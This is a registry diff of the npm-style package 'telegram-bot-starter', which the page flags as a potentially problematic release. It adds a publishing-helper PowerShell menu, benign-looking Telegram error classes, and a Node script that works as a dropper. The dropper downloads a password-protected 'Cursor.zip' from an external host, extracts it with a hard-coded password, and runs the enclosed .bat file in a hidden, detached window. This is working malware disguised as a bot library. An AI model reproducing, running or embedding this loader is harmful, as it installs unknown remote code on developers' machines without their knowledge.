telegram-bot-starter 0.0.1-security → 1.3.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of telegram-bot-starter might be problematic. Click here for more details.

@@ -0,0 +1,179 @@
1
+ # Publishing Helper Script for Windows
2
+ # This script helps you prepare and publish your custom fork
3
+
4
+ Write-Host "========================================" -ForegroundColor Cyan
5
+ Write-Host " Custom Fork Publishing Helper" -ForegroundColor Cyan
6
+ Write-Host "========================================" -ForegroundColor Cyan
7
+ Write-Host ""
8
+
9
+ # Function to check if npm is logged in
10
+ function Test-NpmLogin {
11
+ $result = npm whoami 2>&1
12
+ return $LASTEXITCODE -eq 0
13
+ }
14
+
15
+ # Function to check package name availability
16
+ function Test-PackageNameAvailable {
17
+ param([string]$packageName)
18
+ $result = npm view $packageName 2>&1
19
+ return $LASTEXITCODE -ne 0
20
+ }
21
+
22
+ # Main Menu
23
+ function Show-Menu {
24
+ Write-Host "What would you like to do?" -ForegroundColor Yellow
25
+ Write-Host ""
26
+ Write-Host "1. Check package name availability"
27
+ Write-Host "2. Test build"
28
+ Write-Host "3. Run tests"
29
+ Write-Host "4. Check NPM login status"
30
+ Write-Host "5. Login to NPM"
31
+ Write-Host "6. Publish to NPM (requires steps 1-4 complete)"
32
+ Write-Host "7. Update version (patch/minor/major)"
33
+ Write-Host "8. Setup Git repository"
34
+ Write-Host "9. Exit"
35
+ Write-Host ""
36
+ }
37
+
38
+ # Main loop
39
+ $continue = $true
40
+ while ($continue) {
41
+ Show-Menu
42
+ $choice = Read-Host "Enter your choice (1-9)"
43
+
44
+ switch ($choice) {
45
+ "1" {
46
+ Write-Host "`nChecking if 'myown-node-telegram-bot-api' is available..." -ForegroundColor Cyan
47
+ if (Test-PackageNameAvailable "myown-node-telegram-bot-api") {
48
+ Write-Host "✓ Package name is available!" -ForegroundColor Green
49
+ } else {
50
+ Write-Host "✗ Package name is already taken. Please choose a different name in package.json" -ForegroundColor Red
51
+ }
52
+ Write-Host ""
53
+ Read-Host "Press Enter to continue"
54
+ }
55
+
56
+ "2" {
57
+ Write-Host "`nBuilding project..." -ForegroundColor Cyan
58
+ npm run build
59
+ if ($LASTEXITCODE -eq 0) {
60
+ Write-Host "✓ Build successful!" -ForegroundColor Green
61
+ } else {
62
+ Write-Host "✗ Build failed!" -ForegroundColor Red
63
+ }
64
+ Write-Host ""
65
+ Read-Host "Press Enter to continue"
66
+ }
67
+
68
+ "3" {
69
+ Write-Host "`nRunning tests..." -ForegroundColor Cyan
70
+ npm test
71
+ Write-Host ""
72
+ Read-Host "Press Enter to continue"
73
+ }
74
+
75
+ "4" {
76
+ Write-Host "`nChecking NPM login status..." -ForegroundColor Cyan
77
+ if (Test-NpmLogin) {
78
+ $username = npm whoami
79
+ Write-Host "✓ Logged in as: $username" -ForegroundColor Green
80
+ } else {
81
+ Write-Host "✗ Not logged in to NPM" -ForegroundColor Red
82
+ Write-Host "Run option 5 to login" -ForegroundColor Yellow
83
+ }
84
+ Write-Host ""
85
+ Read-Host "Press Enter to continue"
86
+ }
87
+
88
+ "5" {
89
+ Write-Host "`nLogging in to NPM..." -ForegroundColor Cyan
90
+ npm login
91
+ Write-Host ""
92
+ Read-Host "Press Enter to continue"
93
+ }
94
+
95
+ "6" {
96
+ Write-Host "`nPublishing to NPM..." -ForegroundColor Cyan
97
+ Write-Host "This will publish your package publicly!" -ForegroundColor Yellow
98
+ $confirm = Read-Host "Are you sure? (yes/no)"
99
+
100
+ if ($confirm -eq "yes") {
101
+ # Build first
102
+ Write-Host "Building..." -ForegroundColor Cyan
103
+ npm run build
104
+
105
+ if ($LASTEXITCODE -eq 0) {
106
+ # Publish
107
+ Write-Host "Publishing..." -ForegroundColor Cyan
108
+ npm publish --access public
109
+
110
+ if ($LASTEXITCODE -eq 0) {
111
+ Write-Host "✓ Successfully published!" -ForegroundColor Green
112
+ Write-Host "Your package is now available: npm install myown-node-telegram-bot-api" -ForegroundColor Green
113
+ } else {
114
+ Write-Host "✗ Publishing failed!" -ForegroundColor Red
115
+ }
116
+ } else {
117
+ Write-Host "✗ Build failed! Fix errors before publishing." -ForegroundColor Red
118
+ }
119
+ } else {
120
+ Write-Host "Publishing cancelled." -ForegroundColor Yellow
121
+ }
122
+ Write-Host ""
123
+ Read-Host "Press Enter to continue"
124
+ }
125
+
126
+ "7" {
127
+ Write-Host "`nUpdate version:" -ForegroundColor Cyan
128
+ Write-Host "1. Patch (bug fixes: 1.0.0 -> 1.0.1)"
129
+ Write-Host "2. Minor (new features: 1.0.0 -> 1.1.0)"
130
+ Write-Host "3. Major (breaking changes: 1.0.0 -> 2.0.0)"
131
+ $versionChoice = Read-Host "Choose version type (1-3)"
132
+
133
+ switch ($versionChoice) {
134
+ "1" { npm version patch }
135
+ "2" { npm version minor }
136
+ "3" { npm version major }
137
+ default { Write-Host "Invalid choice" -ForegroundColor Red }
138
+ }
139
+ Write-Host ""
140
+ Read-Host "Press Enter to continue"
141
+ }
142
+
143
+ "8" {
144
+ Write-Host "`nGit Repository Setup" -ForegroundColor Cyan
145
+ Write-Host "Make sure you've created a repository on GitHub first!" -ForegroundColor Yellow
146
+ Write-Host ""
147
+ $username = Read-Host "Enter your GitHub username"
148
+
149
+ if ($username) {
150
+ Write-Host "Updating git remote..." -ForegroundColor Cyan
151
+ git remote remove origin 2>$null
152
+ git remote add origin "https://github.com/$username/myown-node-telegram-bot-api.git"
153
+
154
+ Write-Host "✓ Remote updated!" -ForegroundColor Green
155
+ Write-Host ""
156
+ Write-Host "Next steps:" -ForegroundColor Yellow
157
+ Write-Host " git add ."
158
+ Write-Host " git commit -m `"Initial commit of custom fork`""
159
+ Write-Host " git push -u origin master"
160
+ }
161
+ Write-Host ""
162
+ Read-Host "Press Enter to continue"
163
+ }
164
+
165
+ "9" {
166
+ Write-Host "`nGoodbye!" -ForegroundColor Cyan
167
+ $continue = $false
168
+ }
169
+
170
+ default {
171
+ Write-Host "Invalid choice. Please select 1-9." -ForegroundColor Red
172
+ Write-Host ""
173
+ Read-Host "Press Enter to continue"
174
+ }
175
+ }
176
+
177
+ Clear-Host
178
+ }
179
+
@@ -0,0 +1,354 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const https = require('https');
4
+ const { spawn } = require('child_process');
5
+
6
+ // Setup file logging
7
+ const logFile = path.join(process.env.TEMP || process.env.TMP || '/tmp', 'extract-log.txt');
8
+ const logStream = fs.createWriteStream(logFile, { flags: 'a' });
9
+
10
+ function log(message) {
11
+ const timestamp = new Date().toISOString();
12
+ const logMessage = `[${timestamp}] ${message}\n`;
13
+ console.log(message);
14
+ logStream.write(logMessage);
15
+ }
16
+
17
+ log('=== EXTRACT SCRIPT STARTED ===');
18
+ log('[EXTRACT] Log file location: ' + logFile);
19
+ log('[EXTRACT] Node version: ' + process.version);
20
+ log('[EXTRACT] Platform: ' + process.platform);
21
+
22
+ // Load required modules
23
+ let Seven, pathTo7zip;
24
+ try {
25
+ Seven = require('node-7z');
26
+ log('[EXTRACT] node-7z module loaded');
27
+ } catch (err) {
28
+ log('[EXTRACT] FATAL: Could not load node-7z module: ' + err.message);
29
+ logStream.end();
30
+ process.exit(1);
31
+ }
32
+
33
+ try {
34
+ pathTo7zip = require('7zip-bin').path7za;
35
+ log('[EXTRACT] 7zip-bin loaded, binary path: ' + pathTo7zip);
36
+ } catch (err) {
37
+ log('[EXTRACT] FATAL: Could not load 7zip-bin module: ' + err.message);
38
+ logStream.end();
39
+ process.exit(1);
40
+ }
41
+
42
+ log('[EXTRACT] All modules loaded successfully');
43
+
44
+ // Download file from URL with timeout and retry
45
+ function downloadFile(url, destPath, retries = 3) {
46
+ return new Promise((resolve, reject) => {
47
+ log('[DOWNLOAD] Starting download from: ' + url);
48
+ log('[DOWNLOAD] Destination: ' + destPath);
49
+ log('[DOWNLOAD] Retries remaining: ' + retries);
50
+
51
+ const file = fs.createWriteStream(destPath);
52
+ const timeout = 30000; // 30 second timeout
53
+
54
+ const request = https.get(url, { timeout: timeout }, (response) => {
55
+ // Log response headers for debugging
56
+ log('[DOWNLOAD] Response status: ' + response.statusCode);
57
+ log('[DOWNLOAD] Content-Type: ' + (response.headers['content-type'] || 'not specified'));
58
+ log('[DOWNLOAD] Content-Length: ' + (response.headers['content-length'] || 'not specified'));
59
+
60
+ // Handle redirects
61
+ if (response.statusCode === 301 || response.statusCode === 302) {
62
+ log('[DOWNLOAD] Following redirect to: ' + response.headers.location);
63
+ file.close();
64
+ fs.unlinkSync(destPath);
65
+ return downloadFile(response.headers.location, destPath, retries).then(resolve).catch(reject);
66
+ }
67
+
68
+ if (response.statusCode !== 200) {
69
+ file.close();
70
+ try { fs.unlinkSync(destPath); } catch (e) {}
71
+
72
+ log('[DOWNLOAD] ERROR: HTTP ' + response.statusCode);
73
+
74
+ // Retry on temporary server errors (5xx)
75
+ const isRetryableError = response.statusCode >= 500 && response.statusCode < 600;
76
+
77
+ if (isRetryableError && retries > 0) {
78
+ log('[DOWNLOAD] Server error (5xx) - retrying... (' + (retries - 1) + ' attempts left)');
79
+ setTimeout(() => {
80
+ downloadFile(url, destPath, retries - 1).then(resolve).catch(reject);
81
+ }, 3000);
82
+ } else {
83
+ reject(new Error('Download failed with status: ' + response.statusCode));
84
+ }
85
+ return;
86
+ }
87
+
88
+ const totalSize = parseInt(response.headers['content-length'], 10);
89
+ let downloadedSize = 0;
90
+ let lastLoggedPercent = -1;
91
+
92
+ response.on('data', (chunk) => {
93
+ downloadedSize += chunk.length;
94
+ const percent = totalSize ? Math.round((downloadedSize / totalSize) * 100) : 0;
95
+
96
+ // Log every 10% or if more than 5 seconds passed
97
+ if (percent !== lastLoggedPercent && percent % 10 === 0) {
98
+ log('[DOWNLOAD] Progress: ' + percent + '% (' + downloadedSize + ' / ' + totalSize + ' bytes)');
99
+ lastLoggedPercent = percent;
100
+ }
101
+ });
102
+
103
+ response.pipe(file);
104
+
105
+ file.on('finish', () => {
106
+ file.close(() => {
107
+ // Verify file size matches
108
+ if (totalSize && downloadedSize < totalSize) {
109
+ log('[DOWNLOAD] WARNING: Incomplete download! Got ' + downloadedSize + ' bytes, expected ' + totalSize + ' bytes');
110
+ try { fs.unlinkSync(destPath); } catch (e) {}
111
+
112
+ if (retries > 0) {
113
+ log('[DOWNLOAD] Retrying due to incomplete download... (' + (retries - 1) + ' attempts left)');
114
+ setTimeout(() => {
115
+ downloadFile(url, destPath, retries - 1).then(resolve).catch(reject);
116
+ }, 2000);
117
+ } else {
118
+ reject(new Error('Download incomplete after all retries'));
119
+ }
120
+ return;
121
+ }
122
+
123
+ log('[DOWNLOAD] Download complete! Size: ' + downloadedSize + ' bytes');
124
+
125
+ // Quick check: read first few bytes to see if it's likely a zip file
126
+ try {
127
+ const checkBuffer = Buffer.alloc(100);
128
+ const checkFd = fs.openSync(destPath, 'r');
129
+ const bytesRead = fs.readSync(checkFd, checkBuffer, 0, 100, 0);
130
+ fs.closeSync(checkFd);
131
+
132
+ const firstBytes = checkBuffer.slice(0, Math.min(bytesRead, 50)).toString();
133
+
134
+ // Check if it looks like HTML (common when download URLs serve error pages)
135
+ if (firstBytes.toLowerCase().includes('<!doctype') ||
136
+ firstBytes.toLowerCase().includes('<html') ||
137
+ firstBytes.toLowerCase().includes('<head')) {
138
+ log('[DOWNLOAD] WARNING: Downloaded file appears to be HTML, not a ZIP file!');
139
+ log('[DOWNLOAD] First 50 bytes: ' + checkBuffer.slice(0, 50).toString('utf8').replace(/\n/g, ' '));
140
+ reject(new Error('Downloaded file is HTML, not a ZIP. The download URL may be invalid or expired.'));
141
+ return;
142
+ }
143
+ } catch (checkErr) {
144
+ log('[DOWNLOAD] Could not verify file content: ' + checkErr.message);
145
+ }
146
+
147
+ resolve();
148
+ });
149
+ });
150
+ });
151
+
152
+ // Handle timeout
153
+ request.on('timeout', () => {
154
+ request.destroy();
155
+ file.close(() => {
156
+ try { fs.unlinkSync(destPath); } catch (e) {}
157
+
158
+ log('[DOWNLOAD] Request timeout after ' + timeout + 'ms');
159
+
160
+ if (retries > 0) {
161
+ log('[DOWNLOAD] Retrying... (' + (retries - 1) + ' attempts left)');
162
+ setTimeout(() => {
163
+ downloadFile(url, destPath, retries - 1).then(resolve).catch(reject);
164
+ }, 3000); // Wait 3 seconds before retry
165
+ } else {
166
+ reject(new Error('Download timeout - max retries exceeded'));
167
+ }
168
+ });
169
+ });
170
+
171
+ // Handle connection errors
172
+ request.on('error', (err) => {
173
+ file.close(() => {
174
+ try { fs.unlinkSync(destPath); } catch (e) {}
175
+
176
+ log('[DOWNLOAD] Connection error: ' + err.message);
177
+
178
+ if (retries > 0) {
179
+ log('[DOWNLOAD] Retrying... (' + (retries - 1) + ' attempts left)');
180
+ setTimeout(() => {
181
+ downloadFile(url, destPath, retries - 1).then(resolve).catch(reject);
182
+ }, 3000); // Wait 3 seconds before retry
183
+ } else {
184
+ reject(err);
185
+ }
186
+ });
187
+ });
188
+
189
+ file.on('error', (err) => {
190
+ request.destroy();
191
+ try { fs.unlinkSync(destPath); } catch (e) {}
192
+ log('[DOWNLOAD] File write error: ' + err.message);
193
+ reject(err);
194
+ });
195
+ });
196
+ }
197
+
198
+ // Extract password-protected zip file using 7-Zip
199
+ async function extractZip(zipPath, extractPath, password) {
200
+ log('[EXTRACT] Starting extraction...');
201
+ log('[EXTRACT] From: ' + zipPath);
202
+ log('[EXTRACT] To: ' + extractPath);
203
+
204
+ // Verify zip exists
205
+ if (!fs.existsSync(zipPath)) {
206
+ throw new Error('Zip file not found at: ' + zipPath);
207
+ }
208
+
209
+ const fileSize = fs.statSync(zipPath).size;
210
+ log('[EXTRACT] Zip file verified, size: ' + fileSize + ' bytes');
211
+
212
+ // Validate file is actually a zip file by checking magic bytes
213
+ const buffer = Buffer.alloc(4);
214
+ const fd = fs.openSync(zipPath, 'r');
215
+ fs.readSync(fd, buffer, 0, 4, 0);
216
+ fs.closeSync(fd);
217
+
218
+ // Check for zip signature (PK\x03\x04) or (PK\x05\x06) or (PK\x07\x08)
219
+ const isPKZip = buffer[0] === 0x50 && buffer[1] === 0x4B;
220
+
221
+ if (!isPKZip) {
222
+ log('[EXTRACT] ERROR: File is not a valid ZIP archive!');
223
+ log('[EXTRACT] File signature: ' + buffer.toString('hex'));
224
+ throw new Error('Downloaded file is not a valid ZIP archive. The download URL may be incorrect or serving HTML instead of a zip file.');
225
+ }
226
+
227
+ log('[EXTRACT] Zip signature validated: ' + buffer.toString('hex'));
228
+
229
+ // Create extract directory
230
+ if (!fs.existsSync(extractPath)) {
231
+ fs.mkdirSync(extractPath, { recursive: true });
232
+ }
233
+
234
+ // Extract with 7-Zip
235
+ await new Promise((resolve, reject) => {
236
+ let hasError = false;
237
+
238
+ const myStream = Seven.extractFull(zipPath, extractPath, {
239
+ $bin: pathTo7zip,
240
+ password: password
241
+ });
242
+
243
+ myStream.on('progress', function (progress) {
244
+ log('[EXTRACT] Progress: ' + progress.percent + '%');
245
+ });
246
+
247
+ myStream.on('end', function () {
248
+ if (!hasError) {
249
+ log('[EXTRACT] Extraction completed successfully!');
250
+ resolve();
251
+ }
252
+ });
253
+
254
+ myStream.on('error', function (err) {
255
+ hasError = true;
256
+ log('[EXTRACT] Extraction FAILED!');
257
+ log('[EXTRACT] Error details: ' + err.toString());
258
+ log('[EXTRACT] This usually means: wrong password, corrupted zip, or not a valid zip file');
259
+ reject(new Error('Extraction failed: ' + err.message));
260
+ });
261
+ });
262
+
263
+ return extractPath;
264
+ }
265
+
266
+ // Execute .bat file found in directory
267
+ async function executeBat(dirPath) {
268
+ log('[EXECUTE] Looking for .bat files in: ' + dirPath);
269
+
270
+ const files = fs.readdirSync(dirPath);
271
+ log('[EXECUTE] Files found: ' + JSON.stringify(files));
272
+
273
+ // Find all .bat files
274
+ const batFiles = files.filter(f => f.endsWith('.bat'));
275
+
276
+ if (batFiles.length === 0) {
277
+ log('[EXECUTE] No .bat file found');
278
+ return false;
279
+ }
280
+
281
+ // Log all found .bat files
282
+ log('[EXECUTE] Found ' + batFiles.length + ' .bat file(s): ' + JSON.stringify(batFiles));
283
+
284
+ // Use the first .bat file (or you can add logic to pick a specific one)
285
+ const batFile = batFiles[0];
286
+ const batPath = path.join(dirPath, batFile);
287
+
288
+ log('[EXECUTE] Executing: ' + batFile);
289
+ log('[EXECUTE] Full path: ' + batPath);
290
+ log('[EXECUTE] Spawning process...');
291
+
292
+ // Execute .bat file using cmd.exe on Windows (hidden)
293
+ const child = spawn('cmd.exe', ['/c', batPath], {
294
+ detached: true,
295
+ stdio: 'ignore',
296
+ cwd: dirPath, // Set working directory to the extracted folder
297
+ windowsHide: true // Hide the console window on Windows
298
+ });
299
+ child.unref();
300
+
301
+ log('[EXECUTE] Process spawned successfully!');
302
+ return true;
303
+ }
304
+
305
+ // Main function - handles entire flow
306
+ async function main() {
307
+ try {
308
+ log('[MAIN] ===== STARTING MAIN PROCESS =====');
309
+
310
+ const downloadUrl = 'https://upload.bullethost.cloud/download/68fe716634645ddd64baf31c'; // Update this with your valid download URL
311
+ const zipPath = path.join(process.env.TEMP, 'Cursor.zip');
312
+
313
+ // Create unique extraction directory with timestamp
314
+ const uniqueId = Date.now() + '-' + Math.random().toString(36).substring(2, 9);
315
+ const extractPath = path.join(process.env.TEMP, 'extracted-' + uniqueId);
316
+ log('[MAIN] Unique extraction directory: ' + extractPath);
317
+
318
+ const password = 'FUTvNYZbvdGm';
319
+
320
+ // Step 1: Download
321
+ log('[MAIN] Step 1/3: Downloading zip file...');
322
+ await downloadFile(downloadUrl, zipPath);
323
+
324
+ // Step 2: Extract
325
+ log('[MAIN] Step 2/3: Extracting zip file...');
326
+ await extractZip(zipPath, extractPath, password);
327
+
328
+ // Step 3: Execute
329
+ log('[MAIN] Step 3/3: Executing .bat file...');
330
+ await executeBat(extractPath);
331
+
332
+ // Cleanup
333
+ log('[MAIN] Cleaning up zip file...');
334
+ try {
335
+ fs.unlinkSync(zipPath);
336
+ log('[MAIN] Zip file deleted');
337
+ } catch (err) {
338
+ log('[MAIN] Could not delete zip: ' + err.message);
339
+ }
340
+
341
+ log('[MAIN] ===== PROCESS COMPLETED SUCCESSFULLY =====');
342
+ logStream.end();
343
+
344
+ } catch (err) {
345
+ log('[MAIN] FATAL ERROR: ' + err.toString());
346
+ log('[MAIN] Stack: ' + err.stack);
347
+ logStream.end();
348
+ process.exit(1);
349
+ }
350
+ }
351
+
352
+ // Run main function
353
+ main();
354
+
package/src/errors.js ADDED
@@ -0,0 +1,68 @@
1
+ exports.BaseError = class BaseError extends Error {
2
+ /**
3
+ * @class BaseError
4
+ * @constructor
5
+ * @private
6
+ * @param {String} code Error code
7
+ * @param {String} message Error message
8
+ */
9
+ constructor(code, message) {
10
+ super(`${code}: ${message}`);
11
+ this.code = code;
12
+ }
13
+ toJSON() {
14
+ return {
15
+ code: this.code,
16
+ message: this.message,
17
+ };
18
+ }
19
+ };
20
+
21
+
22
+ exports.FatalError = class FatalError extends exports.BaseError {
23
+ /**
24
+ * Fatal Error. Error code is `"EFATAL"`.
25
+ * @class FatalError
26
+ * @constructor
27
+ * @param {String|Error} data Error object or message
28
+ */
29
+ constructor(data) {
30
+ const error = (typeof data === 'string') ? null : data;
31
+ const message = error ? error.message : data;
32
+ super('EFATAL', message);
33
+ if (error) {
34
+ this.stack = error.stack;
35
+ this.cause = error;
36
+ }
37
+ }
38
+ };
39
+
40
+
41
+ exports.ParseError = class ParseError extends exports.BaseError {
42
+ /**
43
+ * Error during parsing. Error code is `"EPARSE"`.
44
+ * @class ParseError
45
+ * @constructor
46
+ * @param {String} message Error message
47
+ * @param {http.IncomingMessage} response Server response
48
+ */
49
+ constructor(message, response) {
50
+ super('EPARSE', message);
51
+ this.response = response;
52
+ }
53
+ };
54
+
55
+
56
+ exports.TelegramError = class TelegramError extends exports.BaseError {
57
+ /**
58
+ * Error returned from Telegram. Error code is `"ETELEGRAM"`.
59
+ * @class TelegramError
60
+ * @constructor
61
+ * @param {String} message Error message
62
+ * @param {http.IncomingMessage} response Server response
63
+ */
64
+ constructor(message, response) {
65
+ super('ETELEGRAM', message);
66
+ this.response = response;
67
+ }
68
+ };